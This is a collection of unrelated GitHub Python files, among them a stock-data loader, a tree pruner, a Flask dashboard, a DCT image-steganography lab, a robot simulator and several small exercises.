+{"seq_id":"36201862504","text":"import pandas_datareader as pdr\nimport quandl as ql\nimport pandas as pd\nimport numpy as np\nfrom sqlalchemy import create_engine, VARCHAR\nimport mysql.connector\nfrom datetime import datetime, timedelta,date\nfrom configparser import ConfigParser \nfrom iexfinance.stocks import Stock\nimport os\n\n\n#this stuff loads the keys\ndirectory = os.path.dirname(os.path.abspath(__file__))\nconfigfile = os.path.join(directory, 'config.ini')\nparser = ConfigParser()\nparser.read(configfile)\n\nhost = parser.get('marketmovers','host')\nuser = parser.get('marketmovers','user')\npasswd = parser.get('marketmovers','passwd')\ndatabase = parser.get('marketmovers','database')\n\nengine = parser.get('engines','marketmovers')\n\n#production key\nsecretkey = parser.get('keys','secretkey')\n#sandbox key\ntestkey = parser.get('keys','testkey')\n\n'''\n# Create a new DB in mySQL w/ block below\nmydb = mysql.connector.connect(\n host = host,\n user = user,\n passwd = passwd,\n )\n\n#create cursor\ncursor = mydb.cursor()\n\n#create a db\ncursor.execute(\"CREATE DATABASE marketmovers\")\n'''\n\n#connect to specific db w/ both mysql connector and sqlalchemy. sqlalchemy for pushing and mysql for pulling\nmydb = mysql.connector.connect(\n host = host,\n user = user,\n passwd = passwd,\n database = database,\n)\n\n#connect to db using sqlalchemy\nengine = create_engine(engine)\n\n'''\n1. Take ticker universe\n2. pull quotes for each ticker\n3. save relevant quote point to correct table - Stock.get_quote(**kwargs)\n a. ie closing price - goes to closing price table. result should be something like this\n\n Date - Appl - Msft - Tsla\n 1.1.21 1 2 3\n 1.2.21 2 2 1\n 1.3.21 3 2.5 2\n 1.4.21 4 3 1.5\n\n b. for US equities there should be 4 tables generated\n 1. closing price table - 24hr movers\n 2. volume table =- \n 3. intraday pct change table\n 4. open and previous close - overnight table (this might require to much date adjustments) - or just a table for open, than we do the manipulation\n later using the close price table and the open price table\n\n4. this script will just update the main data tables - then separate script will generate the end user table.\n'''\n#this is the iexfinance client\n#iexcloud-v1 is live\n#iexcloud-sandbox is sandbox\n#secretkey = live testkey = sandbox\n#need to make the switch in the environment variable too\nos.environ['IEX_API_VERSION'] = 'iexcloud-v1'\nkey = secretkey \n\n#load SOI files and create useful vars\ntickerSOI = os.path.join(directory, 'equityuniverse995.csv')\n#datesList = os.path.join(directory, 'dateslist.csv')\n\ntickers = pd.read_csv(tickerSOI, engine='python')\n#days = pd.read_csv(datesList, engine='python')\n\nclosetable = pd.DataFrame()\nvolumetable = pd.DataFrame()\nintradaytable = pd.DataFrame()\nopentable = pd.DataFrame()\n#for testing purposes\ndays= 1\n'''\n\n'''\n#for each ticker in the file, pulls price data for specified date, and pushes to mysql db under associated table name\nfor index,row in tickers.iterrows():\n\n symbol = row['Symbol']\n stock = Stock(symbol, token=key,output_format = 'pandas')\n closeslice = pd.DataFrame({'date':(date.today()-timedelta(days=days))},index=[0])\n volumeslice = pd.DataFrame({'date':(date.today()-timedelta(days=days))},index=[0])\n intradayslice = pd.DataFrame({'date':(date.today()-timedelta(days=days))},index=[0])\n openslice = pd.DataFrame({'date':(date.today()-timedelta(days=days))},index=[0])\n #for testing:\n #closeslice = pd.DataFrame({'date':(datetime.today()-timedelta(days=1)).strftime(\"%m/%d/%Y\")},index=[0])\n try:\n quote = stock.get_quote()\n \n except Exception:\n print(\"skipped \" + symbol)\n pass\n\n close = quote['close']\n close = close.reset_index(drop = True)\n closeslice[symbol] = close\n closeslice = closeslice.reset_index(drop = True)\n closeslice.set_index('date', inplace=True)\n closetable = pd.concat([closeslice, closetable],axis = 1)\n #print(closetable)\n print(\"Appended close for \" + symbol)\n\n volume = quote['volume']\n volume = volume.reset_index(drop = True)\n volumeslice[symbol] = volume\n volumeslice = volumeslice.reset_index(drop = True)\n volumeslice.set_index('date', inplace=True)\n volumetable = pd.concat([volumeslice, volumetable],axis = 1)\n #print(volumetable)\n print(\"Appended volume for \" + symbol)\n\n open = quote['open']\n open = open.reset_index(drop = True)\n openslice[symbol] = open\n openslice = openslice.reset_index(drop = True)\n openslice.set_index('date', inplace=True)\n opentable = pd.concat([openslice, opentable],axis = 1)\n #print(opentable)\n print(\"Appended open for \" + symbol)\n\n intraday = quote['changePercent']\n intraday = intraday.reset_index(drop = True)\n #print(intradaytable)\n intradayslice[symbol] = intraday\n intradayslice = intradayslice.reset_index(drop = True)\n intradayslice.set_index('date', inplace=True)\n intradaytable = pd.concat([intradayslice, intradaytable],axis = 1,sort=True)\n #print(intradaytable)\n print(\"Appended intraday for \" + symbol)\n\n\ntry:\n closetable.to_sql('usequityclosetable', engine, if_exists='append')\n #closetable.to_sql('usequityclosetable', engine, if_exists='append', index_label='index', dtype={closetable.index.name:VARCHAR(5)})\nexcept:\n closedata = pd.read_sql('SELECT * FROM usequityclosetable', engine)\n closedata.set_index('date', inplace=True)\n closeddf = pd.concat([closedata,closetable],sort=True)\n #df2.set_index('date', inplace=True)\n print(closeddf)\n closeddf.to_sql('usequityclosetable', engine, if_exists = 'replace')\n\ntry:\n volumetable.to_sql('usequityvolumetable', engine, if_exists='append')\n #closetable.to_sql('usequityclosetable', engine, if_exists='append', index_label='index', dtype={closetable.index.name:VARCHAR(5)})\nexcept:\n volumedata = pd.read_sql('SELECT * FROM usequityvolumetable', engine)\n volumedata.set_index('date', inplace=True)\n volumedf = pd.concat([volumedata,volumetable],sort=True)\n #df2.set_index('date', inplace=True)\n print(volumedf)\n volumedf.to_sql('usequityvolumetable', engine, if_exists = 'replace', ROW_FORMAT='DYNAMIC')\n\ntry:\n opentable.to_sql('usequityopentable', engine, if_exists='append')\n #closetable.to_sql('usequityclosetable', engine, if_exists='append', index_label='index', dtype={closetable.index.name:VARCHAR(5)})\nexcept:\n opendata = pd.read_sql('SELECT * FROM usequityopentable', engine)\n opendata.set_index('date', inplace=True)\n opendf = pd.concat([opendata,opentable],sort=True)\n #df2.set_index('date', inplace=True)\n print(opendf)\n opendf.to_sql('usequityopentable', engine, if_exists = 'replace')\n\n\ntry:\n intradaytable.to_sql('usequityintradaytable', engine, if_exists='append')\n #closetable.to_sql('usequityclosetable', engine, if_exists='append', index_label='index', dtype={closetable.index.name:VARCHAR(5)})\nexcept:\n intradaydata = pd.read_sql('SELECT * FROM usequityintradaytable', engine)\n intradaydata.set_index('date', inplace=True)\n indtradaydf = pd.concat([intradaydata,intradaytable],sort=True)\n #df2.set_index('date', inplace=True)\n print(indtradaydf)\n indtradaydf.to_sql('usequityintradaytable', engine, if_exists = 'replace')\n\n","repo_name":"davewang93/marketmovers","sub_path":"USEquityMovers.py","file_name":"USEquityMovers.py","file_ext":"py","file_size_in_byte":7309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30634213576","text":"#!/usr/bin/env python3.6\n\nimport sys\nimport os\nimport time\nimport argparse\nfrom ete3 import Tree\n\n# Start time to keep track of progress\nt0 = time.time()\n\n# Parse command line options\nparser = argparse.ArgumentParser(\n description='Trim tree')\nparser.add_argument(\n '-o',\n dest=\"ofix\",\n required=True,\n help='Output prefix')\nparser.add_argument(\n '-s',\n dest=\"filelist\",\n required=True,\n help='List of samples')\nparser.add_argument(\n '-t',\n dest=\"treefile\",\n required=True,\n help='Input phylogenic tree')\nargs = parser.parse_args()\n\n# read sample accessions from first col of a tsv/lst\nuser_samples = []\nwith open(args.filelist, \"r\") as fp:\n for line in fp:\n user_samples.append(line.strip().split(\"\\t\")[0])\n\n# load the tree to prune\ntree = Tree(args.treefile)\n\n# find the nodes to keep, both reduced and asteriks version\nkept_nodes = []\nfor node in tree.traverse():\n if node.name:\n split_name = node.name.split(\" \")\n if len(split_name) > 1:\n kept_name = []\n for acc in split_name:\n if acc in user_samples:\n kept_name.append(acc)\n if kept_name:\n node.name = \" \".join(kept_name)\n kept_nodes.append(node.name)\n else:\n node.name = node.name.split(\"*\")[-1]\n if node.name in user_samples:\n kept_nodes.append(node.name)\n\n# prune tree\ntree.prune(kept_nodes)\n\n# save tree\ntree.write(format=0, outfile=f\"{args.ofix}.nwk\")\n\nprint(f\"# Tree pruned. Time used: {int(time.time()-t0)} seconds\", file=sys.stdout)\nsys.exit(0)\n","repo_name":"jszarvas/utility_scripts","sub_path":"prune_tree.py","file_name":"prune_tree.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5774909255","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom colorsys import rgb_to_hsv\r\nimport pandas as pd\r\nimport re \r\n\r\ndef min_color_diff(color_to_match: tuple) -> list:\r\n close_color ={}\r\n l=[]\r\n \"\"\" returns the `(distance, color_name)` with the minimal distance to `colors` choose 5 closest color\"\"\"\r\n \r\n #clean data\r\n color_df = pd.read_csv('lipstick.csv')\r\n color_df = color_df.drop(['Unnamed: 0'],axis = 1)\r\n color_df = color_df.fillna(value=str(0))\r\n \r\n #change the rgb column to tuple\r\n pattern = r'(\\d+)'\r\n def get_tuple(row):\r\n match = re.findall(pattern, row)\r\n tuple_=(float(match[0]), float(match[1]), float(match[2]))\r\n return tuple_\r\n color_df['rgb'] = color_df['rgb'].apply(get_tuple)\r\n \r\n #remove 'out of stock'\r\n pattern_ = r'^\\w{3} \\w{2} \\w{5}: '\r\n def remove_nostock(row):\r\n match = re.search(pattern_, row)\r\n if match:\r\n row = row[14:]\r\n return row\r\n color_df['color'] = color_df['color'].apply(remove_nostock)\r\n\r\n def to_hsv( color ): \r\n \"\"\" converts color tuples to floats and then to hsv \"\"\"\r\n return rgb_to_hsv(*[x/255.0 for x in color]) #rgb_to_hsv wants floats!\r\n color_df['hsv'] = color_df['rgb'].apply(to_hsv)\r\n\r\n def color_dist( c1, c2):\r\n \"\"\" returns the squared euklidian distance between two color vectors in hsv space \"\"\"\r\n return sum( (a-b)**2 for a,b in zip(to_hsv(c1),to_hsv(c2)) )\r\n\r\n for i in range(len(color_df['hsv'])):\r\n close_color[color_df['hsv'][i]] = (color_df['brand_name'][i], color_df['product_name'][i], color_df['color'][i], color_dist(color_to_match, color_df['hsv'][i]))\r\n\r\n \r\n close_color_ = sorted(close_color.items(), key=lambda x: x[1][3])\r\n\r\n for key, value in close_color_:\r\n l.append([value[0], value[1], value[2]])\r\n return l[:5]","repo_name":"jianyaofu/lipstick_try_recommend","sub_path":"lipstick_closest_colors.py","file_name":"lipstick_closest_colors.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"12930317418","text":"from flask import Blueprint, render_template, request, jsonify\nfrom flask.ext.login import current_user\nfrom flask.views import MethodView\n\nfrom capuchin import config\nfrom capuchin.controllers.tables import render_table\nfrom capuchin.views import insights\nfrom capuchin.views.tables.dashboard import Posts\n\n\ndb = Blueprint(\n 'dashboard',\n __name__,\n template_folder=config.TEMPLATES,\n)\n\n\nclass DashboardDefault(MethodView):\n\n def get(self):\n posts = render_table(Posts)\n if not posts:\n posts = Posts(current_user.client).render(size=5,\n pagination=False,\n sort=('created_time', 'desc'))\n\n try:\n like_change = insights.like_weekly_change()\n engagement_change = insights.engagement_weekly_change()\n except:\n like_change = {'change': 0, 'total': 0}\n engagement_change = {'change': 0, 'total': 0}\n\n return render_template(\n \"dashboard/index.html\",\n posts=posts,\n like_change=like_change,\n engagement_change=engagement_change,\n )\n\n\nclass DashboardChart(MethodView):\n\n charts = {\n \"page_by_type\": insights.page_by_type,\n \"engaged_users\": insights.engaged_users,\n \"country\": insights.country,\n \"online\": insights.online,\n \"notifications\": insights.notifications,\n 'post_reach': insights.post_reach,\n \"likes\": insights.likes,\n \"like_gains\": insights.like_gains,\n \"city_population\": insights.city_population,\n \"referrers\": insights.referrers,\n \"top_words\": insights.top_words,\n \"top_likes\": insights.top_likes,\n \"total_growth_over_time\": insights.growth_over_time,\n }\n\n def get(self, chart_id):\n start_ts = request.args.get(\"start_ts\", None)\n end_ts = request.args.get(\"end_ts\", None)\n res = self.charts[chart_id](start=start_ts, end=end_ts, request_args=request.args)\n obj = {'data': res.data}\n try:\n obj['date_format'] = res.date_format\n except:\n pass\n return jsonify(**obj)\n\n\ndb.add_url_rule(\"/\", view_func=DashboardDefault.as_view('index'))\ndb.add_url_rule(\"/chart/\", view_func=DashboardChart.as_view('chart'))\n","repo_name":"edgeflip/capuchin","sub_path":"capuchin/controllers/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18219901234","text":"#!/usr/bin/python3\n\n\"\"\" module \"\"\"\n\n\ndef island_perimeter(grid):\n \"\"\" returns the perimeter of the island described in grid.\n \"\"\"\n\n lenGrid = len(grid[0])\n water = [0] * (lenGrid + 2)\n perimeter = 0\n\n grid.insert(0, water)\n grid.append(water)\n\n for row in range(1, len(grid) - 1):\n grid[row].insert(0, 0)\n grid[row].append(0)\n for col in range(1, lenGrid + 1):\n if grid[row][col] == 1:\n if grid[row - 1][col] == 0:\n perimeter += 1\n if grid[row + 1][col - 1] == 0:\n perimeter += 1\n if grid[row][col - 1] == 0:\n perimeter += 1\n if grid[row][col + 1] == 0:\n perimeter += 1\n return perimeter\n","repo_name":"mauricioolarte/holbertonschool-interview","sub_path":"0x1C-island_perimeter/0-island_perimeter.py","file_name":"0-island_perimeter.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74679139032","text":"import cv2\nimport numpy as np\nimport sys\nfrom scipy.fftpack import fft, dct, idct, ifft\nfrom math import log10, sqrt, exp\n\nalpha = 0.1\nblock_size = 8\norig_file = 'data/kodim04.bmp'\npayload_file = 'data/payload.txt'\n# result_img_file = 'data/result.bmp'\nresult_img_file = 'error/1.bmp'\nunpacked_file = 'data/unpacked_result.txt'\n\ndef PSNR(original, compressed):\n\tmse = np.mean((original - compressed) ** 2)\n\tif(mse == 0): # MSE is zero means no noise is present in the signal .\n\t\treturn 100\n\tmax_pixel = 255.0\n\tpsnr = 20 * log10(max_pixel / sqrt(mse))\n\treturn psnr\n\ndef splitColorBlock(cblock):\n\tblock_r = np.zeros((cblock.shape[0], cblock.shape[1]))\n\tblock_g = np.zeros((cblock.shape[0], cblock.shape[1]))\n\tblock_b = np.zeros((cblock.shape[0], cblock.shape[1]))\n\tfor i in range(cblock.shape[0]):\n\t\tfor j in range(cblock.shape[1]):\n\t\t\tblock_r[i][j] = (cblock[i][j][0])\n\t\t\tblock_g[i][j] = (cblock[i][j][1])\n\t\t\tblock_b[i][j] = (cblock[i][j][2])\n\treturn block_r, block_g, block_b\n\n\ndef splitOnBlocks(image):\n\tblocks = []\n\tfor r in range(0,image.shape[0], block_size):\n\t\tfor c in range(0,image.shape[1], block_size):\n\t\t\tfor block in splitColorBlock(image[r:r+block_size,c:c+block_size]):\n\t\t\t\tblocks.append(block)\n\t\t\t# blocks.append(image[r:r+block_size,c:c+block_size])\n\treturn blocks\n\n\ndef blocksToImage(blocks, image):\n\tb_ind = 0;\n\tfor x in range(0, image.shape[0], block_size):\n\t\tfor y in range(0, image.shape[1], block_size):\n\t\t\tblockToImage(x, y, blocks[b_ind], image,0)\n\t\t\tb_ind += 1\n\t\t\tblockToImage(x, y, blocks[b_ind], image,1)\n\t\t\tb_ind += 1\n\t\t\tblockToImage(x, y, blocks[b_ind], image,2)\n\t\t\tb_ind += 1\n\ndef blockToImage(x, y, block, image, component):\n\tfor i in range(block_size):\n\t\tfor j in range(block_size):\n\t\t\timage[x+i][y+j][component] = block[i][j]\n\n\ndef findMax(block):\n\tmaximum = -999999.0\n\tindex1 = 0\n\tindex2 = 0\n\tfor i in range(block.shape[0]):\n\t\tfor j in range(block.shape[1]):\n\t\t\tif maximum < block[i][j]:\n\t\t\t\tmaximum = block[i][j]\n\t\t\t\tindex1 = i\n\t\t\t\tindex2 = j\n\treturn index1, index2\n\n\ndef payload_into_bs(fn : str) -> list:\n result = list()\n\n with open(fn, \"rb\") as f:\n data = f.read()\n\n size = len(data) * 8\n for i in range(31, -1, -1):\n result.append(((size & (1 << i)) != 0))\n\n print(\"packeted size: \" + str(size))\n\n for b in data:\n for i in range(7, -1, -1):\n result.append(((b & (1 << i)) != 0))\n\n return result\n\n\n\ndef from_bs(bs : list) -> list:\n tmp = 0\n result = list()\n for i in range(len(bs)):\n if (i % 8) == 0:\n result.append(tmp)\n tmp = 0\n\n if bs[i]:\n tmp += 1 << (7 - (i % 8))\n return result\n\n\ndef pack(payload_str, image):\n\tblocks = splitOnBlocks(image)\n\tprint(\"max packed size: \" + str(len(blocks)))\n\tbs_payload = payload_into_bs(payload_str)\n\tfor i in range(len(bs_payload)):\n\t\tdct_block = dct(blocks[i], norm = 'ortho')\n\t\tx, y = findMax(dct_block)\n\t\tif(bs_payload[i]):\n\t\t\tdct_block[x][y] *= exp(alpha)\n\t\telse:\n\t\t\tdct_block[x][y] *= exp(-alpha)\n\t\tblocks[i] = idct(dct_block, norm = 'ortho')\n\tblocksToImage(blocks, image)\n\treturn image\n\ndef getRes(block, original_block):\n\tdct_block = dct(block, norm = 'ortho')\n\tdct_orginal_block = dct(original_block, norm = 'ortho')\n\tx, y = findMax(dct_orginal_block)\n\treturn dct_block[x][y] >= dct_orginal_block[x][y]\n\ndef getSize(result):\n\tsize = 0\n\tfor i in range(len(result)):\n\t\tif result[i]:\n\t\t\tsize += (1 << (31 - i))\n\treturn size\n\ndef unpack(image, original_image):\n\tblocks = splitOnBlocks(image)\n\toriginal_blocks = splitOnBlocks(original_image)\n\tresult = list()\n\tfor i in range(32):\n\t\tresult.append(getRes(blocks[i], original_blocks[i]))\n\n\tsize = getSize(result)\n\n\tresult = list()\n\tprint(\"unpackeded size: \" + str(size))\n\tfor i in range(32, size+33):\n\t\tresult.append(getRes(blocks[i], original_blocks[i]))\t\t\n\n\treturn from_bs(result)\n\ndef compare(orig, unpacked):\n\tfull = max(len(orig), len(unpacked))\n\tminimum = min(len(orig), len(unpacked))\n\terror = full - minimum\n\tfor i in range(minimum):\n\t\tif orig[i] != unpacked[i]:\n\t\t\terror += 1\n\treturn error/full\n\n\n\nif __name__ == \"__main__\":\n\tif sys.argv[1] == \"pack\":\n\t\timg = cv2.imread(orig_file)\n\t\tprint(img.shape)\n\t\tres_img = pack(payload_file, img)\n\t\tcv2.imwrite(result_img_file, res_img)\n\telif sys.argv[1] == \"unpack\":\n\t\torig_img = cv2.imread(orig_file)\n\t\tprint(orig_img.shape)\n\t\tpacked_image = cv2.imread(result_img_file)\n\t\tpayload = unpack(packed_image, orig_img)\n\n\t\twith open(unpacked_file, \"wb\") as f:\n\t\t\tf.write(bytes(bytearray(payload[1:])))\n\n\t\twith open(unpacked_file, \"r\") as f:\n\t\t\tprint(\"\\n\" + f.read())\n\telif sys.argv[1] == \"psnr\":\n\t\timg1 = cv2.imread(sys.argv[2])\n\t\timg2 = cv2.imread(sys.argv[3])\n\t\tprint(PSNR(img1, img2))\n\telif sys.argv[1] == \"error\":\n\t\t\n\t\twith open(payload_file, \"rb\") as f:\n\t\t\torig = f.read()\n\t\twith open(unpacked_file, \"rb\") as f:\n\t\t\tunpacked = f.read()\n\t\tprint(compare(orig, unpacked))","repo_name":"vkuleshov23/steganography","sub_path":"z_lr3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30008430618","text":"from visual import *\nimport Image, time, thread, collisiondetection\nfrom math import *\nfrom objects import *\nfrom variables import *\nfrom visual.controls import *\n\nstart = False\n\ndef change(): # Called by controls when button is clicked\n global R\n global start\n start = True\n\ndef number_of_markers(obj): # called on slider drag events\n global NUMBER_OF_TOKENS\n NUMBER_OF_TOKENS = int(obj.value/6)\n\n\ndef togglecubecolor(): # called on toggle switch flips\n global SWARM_MODE\n if SWARM_MODE == False:\n SWARM_MODE= True\n else:\n SWARM_MODE = False\n\ndef number_of_robots(obj): # called on slider drag events\n global SWARM_NUMBER\n SWARM_NUMBER = int(obj.value)\n\n\n \nc = controls(width=500, height=500) # Create controls window\n# Create a button in the controls window:\nb = button( pos=(0,50), width=90, height=60,\n text='Start Simulation', action=lambda: change() )\n\nt1 = toggle(pos=(35,-25), width=10, height=10, text0='False', text1='True', action=lambda: togglecubecolor())\ns3 = slider(pos=(50,-60), width=7, length=50, axis=(0,1,0),min=1,max = 11, action=lambda: number_of_robots(s3))\nm4 = menu(pos=(50,5,-5), height=7, width=65, text='Swarm Mode Stuff')\n\n\n\ns2 = slider(pos=(-60,-60), width=7, length=50, axis=(0,1,0), action=lambda: number_of_markers(s2))\nm1 = menu(pos=(-60,-70,0), height=7, width=10, text='0')\nm2 = menu(pos=(-60,-5,0), height=7, width=10, text='25')\nm3 = menu(pos=(-55,5,0), height=7, width=65, text='Number of Tokens')\n\n\nstart = False\n\n\n'''\n#################\nUsercode Function\n#################\n''' \n\ndef SR_filter(listname,markertype):\n temporary_list=[]\n for l in listname:\n if l.marker_type== markertype:\n temporary_list.append(l)\n listname=temporary_list\n return listname\n\n\ndef distance_orderer(listname):\n listname=sorted(listname, key=lambda Marker:Marker.distance)\n return listname\n\n\ndef swarmcode(number):\n while True:\n robot_list[number].motors[0].speed = -50.0\n robot_list[number].motors[1].speed = 50.0\n\n \n\n\n\n\n\n\ndef usercode0():\n while True:\n markers = R.see()\n markers = SR_filter(markers,\"TOKEN\")\n markers = distance_orderer(markers)\n\n \n if len(markers)>0:\n angle = markers[0].bearing.y\n if angle >10 and angle <30:\n R.motors[0].speed = -10\n R.motors[1].speed = 10\n elif angle < -10 and angle > -30:\n R.motors[0].speed = 20\n R.motors[1].speed = -20\n elif angle <10 and angle >-10:\n R.motors[0].speed = 100\n R.motors[1].speed = 100\n else:\n R.motors[0].speed = -10\n R.motors[1].speed = 10\n time.sleep(0.2)\n\ndef usercode1():\n while True:\n markers = R.see()\n for m in markers:\n if m.marker_type != \"token marker\":\n markers.remove(m)\n\n \n if len(markers)>0:\n angle = markers[0].bearing.y\n if angle >10 and angle <30:\n R.motors[0].speed = -10\n R.motors[1].speed = 10\n elif angle < -10 and angle > -30:\n R.motors[0].speed = 20\n R.motors[1].speed = -20\n elif angle <10 and angle >-10:\n R.motors[0].speed = 30\n R.motors[1].speed = 30\n else:\n R.motors[0].speed = -10\n R.motors[1].speed = 10\n time.sleep(0.2)\n\ndef usercode2():\n while True:\n markers = R.see()\n for m in markers:\n if m.marker_type != \"token marker\":\n markers.remove(m)\n\n \n if len(markers)>0:\n angle = markers[0].bearing.y\n if angle >10 and angle <30:\n R.motors[0].speed = -10\n R.motors[1].speed = 10\n elif angle < -10 and angle > -30:\n R.motors[0].speed = 20\n R.motors[1].speed = -20\n elif angle <10 and angle >-10:\n R.motors[0].speed = 30\n R.motors[1].speed = 30\n else:\n R.motors[0].speed = -10\n R.motors[1].speed = 10\n time.sleep(0.2)\n\ndef usercode3():\n while True:\n markers = R.see()\n for m in markers:\n if m.marker_type != \"token marker\":\n markers.remove(m)\n\n \n if len(markers)>0:\n angle = markers[0].bearing.y\n if angle >10 and angle <30:\n R.motors[0].speed = -10\n R.motors[1].speed = 10\n elif angle < -10 and angle > -30:\n R.motors[0].speed = 20\n R.motors[1].speed = -20\n elif angle <10 and angle >-10:\n R.motors[0].speed = 30\n R.motors[1].speed = 30\n else:\n R.motors[0].speed = -10\n R.motors[1].speed = 10\n time.sleep(0.2)\n\n\n\n \n\n \n'''\n#############################\nMovement update and collision\n#############################\n'''\n\n#if __name__ == \"__main__\":\n\nwhile start == False:\n rate(RATE)\n c.interact()\n \nif start == True:\n\n for x in xrange(41,41+NUMBER_OF_TOKENS):\n token_list.append(Token(x))\n for thing in token_list[x-41].markers:\n marker_list.append(thing)\n\n\n if SWARM_MODE == False:\n R = Robot(0,15,0)\n #S = Robot(-150,15,-150)\n #T = Robot(150,15,-150)\n #U = Robot(-150,15,150)\n thread.start_new_thread(usercode0,())\n #thread.start_new_thread(control_window,())\n #thread.start_new_thread(usercode1,())\n #thread.start_new_thread(usercode2,())\n #thread.start_new_thread(usercode3,())\n\n while True:\n rate(RATE)\n R.update()\n c.interact()\n\n\n if SWARM_MODE == True:\n for x in xrange(SWARM_NUMBER):\n robot_list.append(Robot(random.randint(-150,150),15,random.randint(-150,150)))\n\n counter = 0\n while counter < SWARM_NUMBER:\n counter2 = counter\n thread.start_new_thread(swarmcode,(counter,))\n counter +=1\n\n while True:\n rate(RATE)\n c.interact()\n for r in robot_list:\n r.update()","repo_name":"RoboArmadillo/RoboSim-V1","sub_path":"sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":6332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36736973349","text":"from django.urls import path\nfrom django.views.i18n import JavaScriptCatalog\n\nfrom bill import views\n\n\nurlpatterns = [\n path('jsi18n1', JavaScriptCatalog.as_view(), name='js-catlog1'),\n path('deposits/', views.deposit_report_list, name='paid-deposits'),\n path('user_bills/list', views.userBillsList, name='list-bills'),\n path('pay_due_bills/', views.pay_due_bills, name='pay-bills'),\n\n path('add_bill/', views.addUserBills, name='add-bills'),\n path('bill//update_bill', views.updateBill, name='update-bills'),\n path('bill//delete_bill', views.bill_delete_view, name='delete-bills'),\n\n]","repo_name":"LawandahP/management","sub_path":"bill/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34222528219","text":"import argparse\nimport json\nimport os, time, logging\nfrom lajs_utils import select_relavence\nfrom lajs_predict_rbt3_seg import Predict\nfrom lajs_config import LajsConfig\n\nparser = argparse.ArgumentParser(description=\"Help info.\")\nparser.add_argument('--input', type=str, default='./data/small/', help='input path of the dataset directory.')\nparser.add_argument('--output', type=str, default='./', help='output path of the prediction file.')\n\nargs = parser.parse_args()\ninput_path = args.input\ninput_query_path = os.path.join(input_path, 'query.json')\ninput_candidate_path = os.path.join(input_path, 'candidates')\noutput_path = args.output\nstw_path = os.path.join(os.path.dirname(__file__), 'stopword.txt')\nnew_data_path = os.path.join(os.path.dirname(__file__), 'data.json')\nLajsConfig['predict_file'] = new_data_path\n\ndef main():\n logging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(filename)s %(levelname)s %(message)s',\n datefmt='%y-%m-%d %H:%M:%S')\n print('begin...')\n if not os.path.exists(new_data_path):\n select_relavence(input_query_path, input_candidate_path, stw_path, new_data_path, sent_group=6, select=1)\n time.sleep(1)\n print('temp data converting finished...')\n\n lp = Predict(LajsConfig)\n print('prediction starting...')\n result = lp.predict()\n json.dump(result, open(os.path.join(output_path, 'prediction.json'), \"w\", encoding=\"utf8\"), indent=2,\n ensure_ascii=False, sort_keys=True)\n print('output done.')\n\n\nif __name__ == \"__main__\":\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = '5'\n main()\n\n # import time, random\n # import pyautogui\n #\n # time.sleep(10) # 延迟8秒\n #\n # y_list = [500, 520, 540, 560, 580]\n # x_list = [800,820,840,860,880,900,920,940,960,980,1000]\n # while True:\n # time.sleep(30)\n # x = random.sample(x_list, k=1)[0]\n # y = random.sample(y_list, k=1)[0]\n # pyautogui.moveTo(x, y, duration=0.3)\n # pyautogui.click()\n pass\n","repo_name":"Executedone/CAIL2021_LAJS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"5"} +{"seq_id":"24391514431","text":"import cv2\nfrom Image_Processsing import ImageProcessing\nimport threading as MT\nfrom FileLogger import logger \ntry:\n #Loads in the saved model.\n #model = tf.keras.models.load_model(\"Main/128x3-cnn.model\")\n #Creates the diffirent video stream. In this case we duplicated the first one to simulate 3 cameras.\n # Video 1 and 2 will be the frontal cameras and video 3 the bottom one.\n print('Starting Application')\n video1 = cv2.VideoCapture(0)\n\n #Creating Process instances of the image procassing class parsing the stream the video number and the model.\n imageProcess = ImageProcessing(video1)\n\n #Creation of the threads for each stream with the target being the start sream method in the video processing class.\n print(\"Creating Threads\")\n \n t1 = MT.Thread(target=imageProcess.startStream)\n t1.start()\n\n #Joinging of the threads when they are finished executing so that they can safely close.\n t1.join()\n\n print(\"Application Terminated\")\n #closing all open windows\n cv2.destroyAllWindows()\n #releasing the video input devices and turing them off.\n video1.release()\nexcept:\n print(\"Failed to run or close the application properly\")\n\n \n\n","repo_name":"LouisvnZyl/CrimePreventionSystem","sub_path":"Computer Vision/MainRun.py","file_name":"MainRun.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"2358539316","text":"class Adjective:\n def __init__(self, num, adverb, saturation, value, vector):\n self.num = num\n self.adverb = adverb\n self.saturation = saturation\n self.value = value\n self.vector = vector\n\n\n# 空の配列\nadjective_list = []\n\n# データを用意\ndata = [\n (1, \"明るい\", 70, 80, [0.1, 0.3, 0.5]),\n (2, \"暗い\", 20, 60, [0.4, 0.6, 0.8]),\n (3, \"鮮やかな\", 90, 90, [0.2, 0.4, 0.6])\n]\n\n# クラスのインスタンスを生成し、配列に追加\nfor item in data:\n adj = Adjective(*item) # タプルの要素を展開して引数に渡す\n adjective_list.append(adj)\n\n# 配列の要素を表示\nfor adj in adjective_list:\n print(adj.num, \".\", adj.adverb,\n \": ( \", adj.saturation, \",\", adj.value, \")\", 